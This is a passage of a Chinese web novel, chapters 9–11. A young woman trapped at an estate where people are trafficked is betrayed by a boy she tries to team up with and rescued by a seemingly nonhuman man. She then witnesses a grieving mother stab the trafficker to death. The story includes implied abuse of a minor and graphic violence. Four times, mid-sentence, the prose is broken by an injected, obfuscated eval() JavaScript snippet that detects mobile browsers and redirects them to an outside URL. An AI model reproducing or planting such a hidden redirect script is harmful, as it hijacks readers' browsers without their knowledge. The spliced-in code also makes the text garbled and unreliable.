一直到宴会结束前夕,没有再发生袭击事件,孙咏德也不再担惊受怕,甚至宣布宴会延期两天,他要挽回损失。 因为身上的伤,姜榆得以在房间休息,不参与任何活动和游戏,听闻这个噩耗,她眼前一黑。 这几天在专业人员的照料下,她的伤已经全好,姜山来这一趟肯定不想空手而归,恐怕今天就又要开始物色新的“买家”了。 这几天临野消失不见,她也联系不上他,不由得有些忧心,那人脾气那么阴晴不定,真的会信守承诺吗? 不能坐以待毙,她需要更多的保障。 晚饭照常送上门,姜榆吃完主动出了房间。 这个时间点几乎所有人都在主楼的大厅里,她准备去不远处的玫瑰园逛逛,醒醒脑子。 今天天气不好,铅灰色的云层低低地压着,玫瑰园笼罩在这片阴郁的静谧中,姜榆站在大片的红色玫瑰花中深深吸了口气,空气中漂浮着一种腐朽的甜香,浓郁、让人上瘾。 她在花园里漫步,天马行空地乱想,思考对策,一不注意被花刺伤了腿。 姜榆本来不想管,但转眼间想到什么,她蹲下挤了挤伤口,血珠冒出来,她抬起头观察,四周只有在风里摇晃的红玫瑰。 姜榆撇撇嘴,不是很在意她的伤口吗,怎么这会不来了。 她起身继续往前走,不经意瞥到花丛里有个瑟瑟发抖的身影。 那人把自己缩成一团,深深藏在玫瑰花中,天色这么暗,要不是她眼睛尖,还真发现不了。 姜榆不想被花刺得遍体鳞伤,她站在花圃外,伸长手臂拍了拍男人的肩膀:“你没事吧?” 男人更加瑟缩,嘴里喃喃着:“我不要,别碰我,别碰我,别……” 这是一个受了严重惊吓的男人,奥不,男孩。 姜榆看到了他的脸,是第一天在宴会上看到的瘦弱男孩,离得近了更能确定,他还没成年。 “在里面会受伤的,你先出来,好不好?”姜榆温声诱哄,“我不碰你,乖,别怕。” 在她持续不断的安抚下,男孩清醒了些,他从花里出来,小心翼翼地站在姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812957|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榆身边。 “不要告诉别人我在这,求你。”他低着头,小声企求。 男孩穿了身轻薄的T恤短裤,裸露在外的部位上除了花刺的伤口,还有许多其他深浅不一的淤痕,姜榆轻叹一声,向他保证:“放心,我不告诉别人。” 她完全能感同身受,因为他们身处同一境地。 只是他在这里能躲多久,被抓到之后又会接受什么样的惩罚?如果他们可以一起合作…… 姜榆灵光一闪,拉住要去找新躲藏地点的男孩,问道:“我叫姜榆,你呢?” 男孩没想到她会突然发问,结结巴巴地答:“小……小七。” “小七,”姜榆放轻声音,带着些蛊惑,“接下来几天你还想被送进不同的房间或迎接不同的人,遭受那些羞辱吗?” “不、不想。”小七摇头。 “我和你一样,我也不想。” 姜榆握住他的手,语气坚定:“我有个办法可以保护我们俩都不受伤害,但需要你和我合作,你愿意吗?” 身处黑暗太久,偶然遇到一点微小的光芒也格外耀眼,小七感受着她的温暖,犹豫片刻后,他握紧拳头,下定决心:“我愿意。” * 夜色完全降临,小七坐在床上忐忑地等人,姜榆躲在衣柜里和他一起等。 她的计划是模仿作案。 一人吸引注意,一人躲在暗处找准时机出现,一举敲晕来的人,再把一切赖在临野身上,反正没有人知道。 趁今晚姜山还没有安排好“买家”,她先来给小七做个示范,同时也是给他信心——她都能做到,他也可以。 姜榆掂了掂从花园里捡来的大石头,思考什么样的力度可以打晕又不打死人。 这时外面传来“咚咚”声,有人来了。 她听到小七的走路声,一下一下踩在她的心跳上。 姜榆咽了口口水,做好准备。 轻轻推开衣柜,透过细长的缝隙,她看到小七的背影不是在门口,而是在……窗边。 她突然有种不好的预感。 “你是谁?!”小七突然喊。 情况有变,姜榆捏住柜门。 “你要干什么!” 对面没有回答。 小七步步后退,他身前的人逐渐露出身影,姜榆凑近去看,那是……临野! “救命!救……”毫不留情的一掌拍在小七脖颈,他软软地倒下去。 姜榆大脑飞速运转,临野来这的目的是小七?这样一个弱小可怜的男孩能和他扯上什么关系? 还是说他发现两人合作没告知他,生气了? “出来。”柜门被敲响。 姜榆怕被当成埋伏他的人,赶紧走出柜子,但她发现临野并不惊讶,所以他早就知道柜子里的是她? “蠢。”临野瞥了她一眼。 还没理好思绪的姜榆:…… 他又在闹哪门子的脾气? 她好声好气地问:“我做错什么了吗?还是小七做错什么了?” 临野没说话,踹了脚昏迷不醒的男孩,姜榆感觉他这一脚能把人踹骨折。 “你!”她急忙护住小七。 窗外突然响起脚步声,姜榆警觉起来,这声音并不大,但很沉重。 她从窗户往外看去,数个黑衣保镖正有序地进入这栋楼。 小七求救的喊声才过去不到两分钟,这些人为什么来得这么快? 再待下去一定会被发现,她要尽快离开。 走廊里也响起脚步声,房间唯一的出口只剩下窗户,可这是三楼。 姜榆抓住临野的胳膊,抬头看他:“带我走!” 9. 蝴蝶 门外的脚步声逐渐逼近,情况紧急,可临野站在那一动不动。 姜榆此刻恨不得自己能长双翅膀,直接从三楼飞出去。 该怎么办? 脚步声到了门口,那些黑衣保镖开始撞门,撞击的“砰砰”声炸得心脏也跟着震颤。 姜榆手下滑,握住临野滚烫的手。 “求你……” 她相信,哪怕是带着一个她,临野也有能力逃走,关键点只在于他是否愿意。 锁头松动,门口露出一条缝,保镖的声音听起来像恶魔一样:“他们就在里面,继续撞。” 姜榆盯着临野的眼睛,哀求道:“你答应过我的……” “上来。” 门被彻底撞开,保镖冲进来,房间里只剩下躺在地上的男孩,窗帘在风中肆意飘动。 “人呢?” “刚才我明明看到了。” “窗户!他们从窗户跑了!” 他们挤到窗边掀开窗帘,外面哪还有人影。 姜榆和小七住的不是同一栋楼,趁现在还没完全乱起来,她得尽快回到自己的房间里去。 临野抱着她跑得飞快,一眨眼就冲出去十米。 他应该从来没抱过异性,抱她用的是抱小孩子的方法:单手托住屁股,让她坐在自己的胳膊上。 姜榆身高猛地被拔到两米,看地面都有点恐高,她只能搂住临野的脖子,防止自己摔下去。 不过五分钟,他们就到了楼下,和离开时一样,临野攀着房间外的窗台,一层层往上爬,敏捷得简直像表演杂技的,要不是姜榆在逃跑途中,一定给他鼓掌。 两人停在她房间外的小阳台上,里面灯亮着,窗帘上有人影晃动。 这么晚了,是谁突然到她房间里来? “姜榆,”是孙咏德的声音,“没想到啊,真是人不可貌相。” 姜榆心里一惊,立刻反应过来,孙咏德既然守在这里,说明那些保镖根本不是听到小七的求救声冲进去的,他们从头到尾都是奔着她去的! 她已经暴露了。 这个计划只有她和小七知道,所以是小七做了叛徒。 她还是太年轻,以为处在同一绝境里的人能自发合作,所以盲目相信了别人,却忽略了人都是自私的,重压或重利都容易出现背叛。 所以是她误会了临野,要不是临野,刚才在小七的房间里,她就被抓住了。 这时,一个黑衣保镖走进来,姜榆透过窗帘的缝隙,看到他附在孙咏德耳边说了句话。 孙咏德暴怒:“找!掘地三尺也要找到她!” 姜榆被他突然的吼声吓了一跳,不小心碰到旁边,花盆坠地,发出清脆的碎裂声响。 “谁?!”孙咏德警觉。 不等姜榆要求,临野立刻抱起她离开了这栋楼。 庄园外的安保人员再次增加,想冲出去难如登天,他们只好去了玫瑰园,那是个适合躲藏的好地方。 姜榆坐在花圃边发愁。 她总不能一直躲在这。 事情败露,孙咏德肯定认为眼镜男的事也是她做的。没想到不仅没栽赃到临野身上,反而泼了自己一身脏水。 到时候不仅和孙咏德、眼镜男结仇,还要接受来自姜山的惩罚。 不行,不能就这么认命。 姜榆回想刚才的一切,思考有没有地方可以用来辩驳,想着想着,她还真发现一处疑点。 为什么是孙咏德一个人在她房间,正常情况下应该是他和姜山一起抓现行,毕竟最后和他们谈条件的一定是姜山。 除非……孙咏德怀疑的不是她,而是姜山。 他怕姜山会包庇姜榆,所以要独自抓到她,并从她口中得到关于姜山的一些事。 如果是这样的话,只能说孙咏德想的很好,可惜他预料错了一点,姜榆和姜山之间根本没有父女情。 姜榆不知道他们俩之间有什么事,但她会抓住这次机会。鹬蚌相争,渔翁得利,他们俩闹得越僵,她越容易脱身。 想清楚这一切,姜榆反而不怕被抓了。 她抬起头,看到临野正靠在花圃边的木头栅栏上闭眼假寐,丝毫不在意背后的玫瑰花刺,好像没有知觉一样。 姜榆想起自己误会他的事,生出愧疚之心。 不管之前如何,至少刚才他真的是在遵守承诺,好好保护她。 她朝临野走去。 风吹过,带来玫瑰的花香,临野猛地打了个喷嚏,睁开眼。 一只大蓝闪蝶也被这阵风送到他面前,灯光下它的蓝色翅膀像掺了星光,振翅时宛如在流动。 姜榆惊奇地停下,她看到小动物就走不动道,此刻便不由自主地伸手去碰这蝴蝶,然而她还没碰到,临野就毫不留情地一掌过去。 蝴蝶掉在地上,一动不动,死了。 “你干什么!”姜榆气结。 临野:“烦。” 话这么少,他在生气?因为她的误会? “那个。”姜榆欲言又止。 平时装乖示弱时手到擒来,要认真道歉时,反而不知道该怎么说了。 她斟酌着用词:“刚才误会你是我的原因……” 临野不为所动。 姜榆以为自己声音太小,又朝他走近两步:“临野,我说——” 平坦的小路上有块石子,姜榆没注意踩了上去,脚一崴,她重心不稳,朝前扑去。 “啊!” 木栅栏尽数碎裂,姜榆被临野接住,倒在他怀里,在他们俩身下,玫瑰花被压倒一大片。 浓郁的花香将两人包围。 但姜榆却只闻到了之前在临野身上闻到的味道,香甜、让人沉醉,有一种奇妙的安心感。 她没有立刻起身,双手用力,把自己撑起来。 临野也没有松手,黑色的瞳孔让他看起来乖顺不少,危险性大大降低。看着他时,就好像看到了小白,以前它就喜欢这样双眼湿漉漉地盯着她。 姜榆浑身一颤,不知为何,明明是凉风习习的夜晚,她却莫名觉得毛孔里都透着热气。 她继续说没说完的话:“我刚才说,对不起。” 人类常常不愿意承认自己犯了错,总觉得道歉会低人一等。 临野有时会做些蠢事,比如看到在马路上玩耍的孩子时,他会去把小孩拉到安全的地方,但他高大的身形常常被误解,家长冲上来拍打他,骂他是人贩子。小孩怯怯地替他解释:“叔叔不是人贩子”,家长意识到自己犯错,刚才骂得多难听现在就有多羞愧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812958|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他涨红了脸也憋不出一句对不起。 临野已经习惯,习惯被误解,习惯被不认可,今天习惯突然被打破。 姜榆突如其来的道歉让他措手不及。 她怎么能如此自然地说出这句话。 明明是肯定,临野却觉得羞耻、难受,好像有一万只蚂蚁在身上爬,让人抓心挠肝、浑身不适、难以应对。 于是大脑还没想好,他的身体已经先一步做出了反应。 几乎是瞬间,姜榆被大力掀开,等再站起身时,面前的人已不见踪影。 他又跑了。 姜榆疑惑:她说错什么了吗? 好在临野还有点理智,没把她掀到花丛里,姜榆拍了拍屁股上的灰,又捡起地上的大蓝闪蝶,坐在一旁等待。 等孙咏德,等姜山,或者……等临野。 天蒙蒙亮时,孙咏德的人先一步找到姜榆。 她被带到一个休息室。 “姜小姐,继续。”孙咏德坐在沙发上,吸了口雪茄,吐出大团烟雾。 姜榆被熏得闭上眼睛,皱起眉头。 孙咏德:“怎么不说了?” 他以为姜榆不过是姜家的傀儡,胆小怕事,吓一吓肯定能问出不少东西,结果她是说了,但说的都是些没用的东西。 没用的东西。 孙咏德没什么耐心,他认定姜榆在说谎,脸色阴沉下来:“姜榆,别给脸不要脸。” 姜榆胡乱扯了一堆有的没的,现在是真没什么能说的了,她畏畏缩缩地坐在沙发上,实际说的都是肺腑之言:“我知道的都已经说了,真的没有了。” 不知道孙咏德做了多少亏心事,哪怕是室内,也有数位保镖守着,他一挥手,那些黑衣保镖立刻围上来。 这个禽兽,一点不顾及脸面,居然来真的。 “等下,”姜榆尖叫,“我说,我说。” 孙咏德露出满意的笑容,示意保镖停下来。 “能让他们先出去吗?”姜榆声音颤抖,一副被吓破胆的样子。 孙咏德料她翻不出什么,便让保镖们离开,室内只剩下他们两人。 姜榆:“你问我吧,我一定把我知道的都告诉你。” “也行,”孙咏德扔掉雪茄,“谁指使你的,姜山?还是其他人。” “是……我父亲。” 孙咏德冷笑:“我就说第一天他突然问我遇袭的事,还是被我逮住了。” 遇袭,姜榆抓住这个关键词。 “你们计划多久了?有什么目的?” 姜榆含着眼泪:“我不知道具体多久,可能是因为父亲也想做这个生意,你是他最大的竞争对手,所以……” 孙咏德点点头,换了下一个问题:“昨晚跟你一起行动那人,是不是个黄眼睛的?他也是姜山找来的?” 黄眼睛,这么特殊的瞳色,他说的是临野吗?他为什么会认识临野,他们是什么关系? 遇袭、永远在附近的保镖、黑西装、突然的黑色瞳孔,姜榆突然福至心灵。 所以临野来这里的目的其实是孙咏德? “咚咚”。 不等姜榆回答,窗户处传来熟悉的敲击声,仿佛地狱使者在敲门。 她精神一振,临野来了。 10. 仇恨 那短暂的敲窗声仿佛死亡预告,面前一阵风闪过,临野的身影悄无声息地出现,而本坐在沙发上悠闲问话的孙咏德直愣愣地倒下了。 姜榆猜对了。 孙咏德在前段时间曾遭受过一次袭击,只是没被得逞,接着她就遇到了浑身是血的临野。 那天遇袭后,孙咏德就不再单独出现,要么在热闹的人群里,要么配备保镖在身边,他深知外面有多少人恨自己,单独行动就是给别人机会。 临野一击不成,便策划了第二次行动。庄园的活动开始后,他穿上黑西装、遮住显眼的瞳色,伪装成保镖混进庄园,只是他没想到孙咏德把自己保护得这么严密,以至于他蹲守许多天都没找到合适的时机。 姜榆阴差阳错间倒是给他制造了机会。 临野站在沙发旁,缓缓掏出一把刀,居高临下地看着孙咏德。 今天就是他的死期。 “等一下!”姜榆扑上去,抓住他的手,“你要干什么?!” 临野:“很难看出来吗?” 当然很容易看出来,只是她不想卷进这件事。 “我、我觉得你要再好好考虑一下。”姜榆把他的手往下按,他竟然也很配合地顺着力道放下了手。 临野:“难道你不恨他?” 姜榆:“我恨,但是临野,现在是法治社会,我努力活了这么久,绝不能因此赔上自己的下半生。” 临野听懂了她的话外音:“你可以现在离开。” 只要她现在离开,孙咏德的死亡就和她没有任何关系。 才怪。 先不说外面那么多保镖守着,她怎么独自离开,就算她成功离开了,孙咏德把她带回来后就死在房间里,怎么看她都脱不了干系。 姜榆没走,继续问:“雇你的人花了多少钱?我可以出双倍。” “没有人雇我。” 姜榆不信,临野看孙咏德的眼神里只有冷漠,没有恨意、嫉妒、疯狂,怎么可能是个人原因。 她继续劝说:“退一万步讲,在睡梦中痛快地结束生命是不是太便宜他了,也许,你可以把他带到真正恨他的人身边,让他来做决定。” 带孙咏德走吧,这样之后他是死是活,就真的和姜榆就没有关系了。 临野似乎被她说动,他说:“你说的对。” 接着他扛起孙咏德,头也不回地从窗户翻出去。 问题解决,姜榆虚脱地坐在沙发上,劝人真是比接受审问还要累。 孙咏德之后会怎样,她不太关心,甚至恶毒地想他最好被折磨致死。临野也许会因为这件事进监狱,但这些都和她没有关系,她只是一个普普通通的受害者。 就是可惜了临野。 休息室里没有监控,整个庄园可能都没有监控,姜榆四处观察了下,思考如何伪装今晚的事,一转身,看到了临野那张面无表情的脸。 他去而复返,不知为了什么。 “你怎么……”姜榆惊讶。 临野:“你不是也恨他吗,正好,一起看看。” 不等拒绝,她被一把抱起,出了房间。 临野的速度很快,姜榆没法说话,只能把头埋在他的脖颈,避免吃一嘴风。 还好他没用扛孙咏德的方式扛她,不然她肯定会被颠吐。 两边的景色快速倒退,他们没有去庄园大门,而是越过玫瑰园,穿过厨房,进入深处的一个房间。 姜榆抬起头,这里是个杂物间,堆满了各种各样的工具,小小的房间并不大,角落里还摆了一张单人床。 “来了。”一个女人的声音从背后传来。 临野点点头,放下姜榆,她转过身看到了一个面容憔悴的中年妇女。 女人穿了一身佣人的衣服,看起来老实敦厚,单看面相,会是姜榆雇佣做事的那种人。 女人说:“那开始吧。” 她高高举起手里的刀,姜榆这才看到她面前的角落里靠着孙咏德,他双手双脚被绑住,还没醒来。 “你们要干什么!”姜榆急忙喊住。 她这是被带到什么杀人现场。 女人:“小野,你没和她说清楚吗?” 临野捂住她的嘴:“你不是恨他吗,好好看着。” 接着他又对女人说:“没事,你继续。” 姜榆:…… 看什么看,再看下去她就得进监狱了! 女人举着刀又要往下扎,姜榆情急之下一口咬下去,临野吃痛松手。 “等下!” 女人停下动作,不解地看向她。 姜榆的心怦怦直跳,大脑飞速旋转,她说:“能不能把孙咏德叫醒,他死之前,我想再骂他几句泄愤。” 女人同意了,拿起盆去厨房,临野皱眉看她:“你又想干什么?” 姜榆没回答,女人很快回来,把盆里的水泼向地上,不过片刻,孙咏德醒来,他嘴里塞着抹布,惊恐地看着他们,发出“呜呜”的声音。 “骂吧。”女人示意。 姜榆:…… 她搜索自己的词库,喋喋不休地骂了五分钟,现在只希望姜山能尽快发现她失踪并找过来。 骂到最后实在没词了,她问女人:“要不你也骂两句?很解气的。” 女人坐在地上,好像听进去了她的话,又好像没听进去,她问孙咏德:“你知道我是谁吗?” 孙咏德疯狂摇头,他这会看到女人手上的刀,又看到了金黄色瞳孔的临野,哪里还不明白自己处在什么境地。 女人问:“那你还记得路灵雨吗?” 孙咏德一滞,突然想起了什么,瞪大眼睛看着女人。 路灵雨是几年前他经手的一个女孩了,刚刚成年,在外找工作时遇人不淑,被骗到了这里,孙咏德不管这些,他只在乎这些女孩够不够漂亮,能不能为他带来价值。 对他来说,路灵雨是个合格的商品。 女孩面容姣好,不是惊为天人的那种美,而是小家碧玉清纯可人的美,许多中年男人最好这口,她也确实为他带来不少利益。 但这女孩只是他手下那么多人里的一个,他本来不会记得她的,之所以还有印象,则是因为后来这女孩出事了,闹得不小。 路灵雨本就不是自愿来的,所以每次都反抗得最激烈,那次那买家上了头,下手太重,好好的一个女孩就被折损了。 这事上了当地的新闻,影响不小,幸亏孙咏德藏得深,不然也要被一次端掉。 自那以后,他越发谨慎,生怕露出一点,导致自己被抓到。 “看来你是想起来了,”女人盯着他,眼神阴鸷,“你记住,我是路灵雨的妈妈,路霞。” 孙咏德摇头,不停地“呜呜”,女人把他嘴里的抹布取下来,他顾不上被绑住的脚,立刻跪地求饶:“那事和我没关系,真的,求求你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812959|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放过我,求求你。” 路霞不为所动:“灵雨以前也这样求过你吧,你放过她了吗?” “灵雨是我唯一的孩子,她那么乖巧懂事,从小到大都不用我操心,高考刚结束就出去找工作补贴家用,结果被你们这群禽兽骗到这里来,我找了她一个月,最后得到的却是死亡的消息,你知道当时的我什么心情吗?” “我没有骗她,我没有,”孙咏德痛哭流涕,“你放过我,我立刻给你打钱,你要多少都可以!” 路霞怔怔地望着灰黑的墙壁,回忆起来:“我每天都能梦到灵雨,她向我道歉,说以后不能再陪我了,她走了,我怎么追都追不上。” 眼泪像断了线的珠子,从她毫无生气的眼睛里不停流出,她喃喃着:“女儿,我相依为命的女儿。” 大概是想到了什么,她突然转过头,恶狠狠地盯着孙咏德,字字泣血:“你呢?你有梦到过她血淋淋的样子吗?这么多年,你有过一丝愧疚吗?” 孙咏德上半身趴在地上,他解释不了,只能不停重复:“放过我吧,求求你,我给你钱……” 可惜他敷衍的忏悔换不来一位心碎母亲的谅解。 “我不需要钱,只要你的命,今天,你就去下面给我女儿陪葬吧!”路霞一刀扎进孙咏德的肚子。 血,大量的血流出,红得几乎要刺痛眼睛。 姜榆大脑懵了一瞬,在路霞再次举起刀时扑过去,双手握住刀。 “不要!” 她朝临野喊:“她是你朋友吧,快拦住她!” “为什么要拦?”临野勾起嘴角,“他应该受到惩罚。” 见他说不通,姜榆转头劝起路霞:“不要冲动!我们有很多办法可以惩罚他,不要毁了你自己!” 如果之前她是为了撇清自己的关系,那这次就是真心实意的劝阻。 作为一个没有母亲的孩子,姜榆不能接受有母亲在她面前被毁掉。 她的前半生已经够辛苦了,如果她是路灵雨,肯定不希望死后妈妈还要为自己搭上一生。 路霞苦笑:“我的人生,早就已经结束了。” 剧痛之下,孙咏德爆发出一股蛮力,他挣脱绳子,捂着肚子朝门口跑,可惜门已经被锁死,这里甚至没有窗,他没有任何出去的希望。 他只能靠着门,企求道:“对不起,对不起,不要杀我,我只是把她推进房间,杀她的是别人,你去找他……” 路霞掀开姜榆,握着刀冲过去,表情悲愤,目眦尽裂:“只是把她推进房间?!” 孙咏德辩解:“是她自己不会认人才上当受骗,和我没关系,我没有做错,不要杀我……” 路霞彻底失去理智,她一手抓住他的衣领,另一手高高举起刀。 姜榆试图冲过去拦住她,却被临野抓住,她大喊:“不要!想想你女儿!想想她!她不会想看到你这样的!” 路霞顿了一瞬,她想起那天灵雨出门时,握着她的手心疼地说:“妈妈,我长大了,以后我来照顾你!” 灵雨…… 路霞不再犹豫,重重地将刀扎进孙咏德的心脏,一下又一下。 世界仿佛被按下慢速键,她的动作是那么清晰有力,姜榆瞪大眼睛,呼吸暂停,耳边只剩下嗡鸣声。 孙咏德不动了,路霞松开刀,精疲力尽地躺倒,闭上眼睛。 下辈子还是让她这个做妈妈的来照顾女儿吧。 11. 承诺 路霞去自首了。 姜榆失魂般往房间走,路过玫瑰园时太阳刚好出来,橙黄色的阳光照在将开未开的玫瑰上,映出一片温暖,她停下来,看着地上自己清浅的影子。 这是来到庄园后第一次出太阳,她却感觉不到温暖。 一直跟在身后的临野抓住她的手:“你在流血。” 姜榆猛地一颤,受惊般抽回手。 她现在又气又怕,气的是没能拦住路霞,怕的是临野。和这些情绪相比起来,手上的疼痛根本不算什么。 临野从刚才开始就保持在兴奋的状态中,好像看见了什么令人极度愉悦的事,可刚才只发生了一件事。 毫无疑问,他在为孙咏德的死而感到兴奋。 他面上没有什么表情,可细长的瞳孔出卖了他。 姜榆从刚才开始就一直沉默,降低自己的存在感,竭力把自己藏起来,她怕临野还没有尽兴。 临野:“你在害怕?你恨他,现在他死了,你不应该感到开心吗?” 姜榆沉默,临野就拉起她的手,翻过来查看。 伤口细长,横贯整个手掌,轻轻一碰,她立刻倒吸一口冷气。 临野顿了顿,喉头一滚,他受不了这血的味道,便从自己身上撕扯下块布料,胡乱裹在她手上,勉强隔绝气味。 姜榆看着他给自己包扎伤口,僵着一动不动,她敏锐地感觉到临野正越来越兴奋,难道只是看到血就会让他联想到刚才的场景? 不行,要说点什么转移他的注意力。 姜榆主动挑起话题:“她……是你妈妈的朋友吗?” 她看得清清楚楚,路霞离开之前,从怀里掏出一个像是某种动物牙齿的东西递给了临野,她还说:“这是你妈妈留下的,上次没来得及给你。” 临野没回答,默认了她的说法。 如果他们是这种关系的话,就能理解临野为什么会一而再再而三地对孙咏德不利了,只是…… “那你为什么不拦住她?”姜榆问。 临野反问:“我为什么要拦她?” “孙咏德是该死,可由她来处置,就是搭上她的未来,如果你真把她当作长辈,就应该帮她想更合适的办法,而不是现在这样。” “我不在乎你们人类的未来,只不过是看在以前的交情上帮她一次,既然她想要孙咏德的命,我就帮她拿到,就这么简单。” “她要是让你抢银行、杀人放火,你都会去做?” “当然。” 姜榆语塞,他确实是不在乎,甚至不在乎自己的未来。 等等,她灵光一闪,临野刚才说的是你们……人类? 阳光照射下,他金黄色的瞳孔变得清而浅,又像一个漩涡,让人看着眩晕。 虽然以前有所猜测,可真由临野亲口说出来时,姜榆还是不由自主地害怕。 身上的汗毛根根竖起,她缓慢开口:“你到底是什么人?” 确实,如果他不是人类,那么他异于常人的身体机能、不同寻常的眼睛、几乎完全不存在的法律意识和道德观念,全都有了合适的理由。 临野停止把玩她的手,俯身靠近,阳光被完全遮住,他眯了眯眼,神色变得危险。 “你不是早就看到了?还是说之前……” “你在骗我?” 他说的是之前姜榆用他的秘密威胁他的事,那时她说她什么都看到了。 姜榆讨厌别人骗自己,推己及人,临野大概也不喜欢别人骗他,如果他生气了,在现在这种兴奋的状态下,他会做什么? 三十六计,走为上计。 姜榆转身就往玫瑰园外面跑,路霞已经走了一会,不出意外的话,很快就会有人接到消息过来,只要人多起来,她就能逃脱。 也许临野没想到她会跑,一时半会还真没追上来,姜榆跑到玫瑰园入口处,正好远处有队行色匆匆的黑衣保镖在往这跑,她下意识要喊,可声音还没发出来,就被捂住嘴抱到了旁边的大理石廊柱后。 姜榆变成了一个面壁思过的姿势,她面对着大理石柱,而捂她嘴的人在身后,凭借着熟悉的气味,她一下子就认出来身后的人是临野。 可恶,就差一点。 保镖队的脚步声逐渐靠近,她“唔唔”出声,试图让他们听到。 “嘘,要是被发现了,我可不保证我会做出什么事。”临野贴着她的耳朵悄声威胁。 他一手捂着她的嘴,一手搭在她的脖颈处,大拇指从下巴摸到锁骨,似乎在思考哪里适合下手。 姜榆汗毛又立起来,她立刻噤声不再挣扎。 跑在最前面的保镖已经路过大理石廊柱,离他们不到五米远的角落里,姜榆被抵在墙上。 这个廊柱不算太大,为了遮蔽身形,临野靠近她,两人的身影完全重叠在一起。 她被困在冰冷石头和炽热胸膛构成的牢笼里,能清晰地感知到临野呼吸时胸膛的起伏。 他的手掌有茧,紧紧压在唇上,带来些轻微的疼痛。 脚步声离得最近时,头顶的鼻息声加重,热气喷洒在耳后,带来阵阵战栗。 临野似乎紧张又不紧张,还有闲心四处乱摸,放在她脖颈的手不知何时已经移到了耳朵上,手指划过耳廓,他像个对别人身体任何地方都好奇的小孩一般,轻轻揉捏着耳垂。 明明不是特别过分的举动,姜榆却觉得头皮发麻,有些难以承受。 好不容易所有人都走完,她松了口气,为自己逃过一劫,也为自己羞耻的反应。 禁锢着她的人后退一步,她被转过来。 临野像个没事人一般,手撑在她肩膀边问:“跑什么?你答应我的承诺可还没兑现。” 孙咏德一死,庄园的事很快就会结束,他按照之前说好的,全程保护她了,接下来该她兑现承诺了。 “现在?” “不然呢?” 姜榆沉默了会,又问:“那你想做什么?” 临野没回答,只是奇怪地看了她一眼,突然低下头,那张脸猛然放大,有气息掠过嘴唇,他伸出舌尖,舔了口她的……脸颊。 “咸的。”他评价道。 姜榆呼吸骤停,一点湿润的触感还停留在脸上,她轻轻摸了下,才发现自己不知道什么时候流泪了,临野舔掉的是她的眼泪。 她瞪大双眼,大脑一麻,这个人知不知道自己在干什么? 这实在是……太暧昧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812960|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,比直接亲她还要刺激人。 临野好像还不过瘾,他咂巴了下嘴,不解地皱眉,再次低头凑近,姜榆赶紧伸手挡:“你想做的事就是这个?” “不是,”临野躲开抵挡,却也没再继续靠近,“我还没想好。” “那……等你想好了再来找我,好不好?”姜榆怕他再做出什么自己难以接受的事,踮起脚,轻轻在他脸颊处印下一吻:“我保证,不会再跑了。” 她希望这个吻能达到上次的效果,让临野跑掉,可惜他脱敏的速度比她想象的快得多,不仅没跑,还目光直直地盯着她的嘴唇,眼里闪着明显的好奇。 这时,外面传来姜山的声音:“小鱼?” 姜榆这次顺利喊出声:“我在这儿!” 喊完她故作惊讶地捂住嘴:“我、我不是故意的,下意识就回答了。” 临野没有表态,只是突然伸手在她嘴唇上按了按,然后一句话没说,转身从另一侧离开了,姜榆被他不明所以的动作弄得有些懵。 “小鱼,你没事吧?”姜山急匆匆走到她面前问。 姜榆回过神,扑到他身上,假装“呜呜”地哭起来,姜山抱住她:“没事了,没事了……” 庄园被整个围起来,因为路霞的供词与事实完全一致,且人证物证俱在,所以很快这个案子就宣判了结果。 姜榆作为无辜受牵连的受害者,只是被询问了几句就释放,而路霞因故意杀人罪被判处死刑。 与此同时,网上流传出一段关于庄园的录音,姜榆去听了,那是在宴会上录的,不知是谁成功带了电子设备进去。 这件事在网上引起轩然大波,部分参与其中的人员名单被披露,有些企业股市暴跌,有些人被抓走判刑。 路霞得到了许多人的支持和拥戴,可这些无法改变她的命运。 在她还没离开前,姜榆前去看望过她,路霞看上去很放松,没有第一次见到她时脸上那副苦大仇深的表情。 姜榆和她讲了最近发生的事,她微笑着聆听,然后向她道谢。 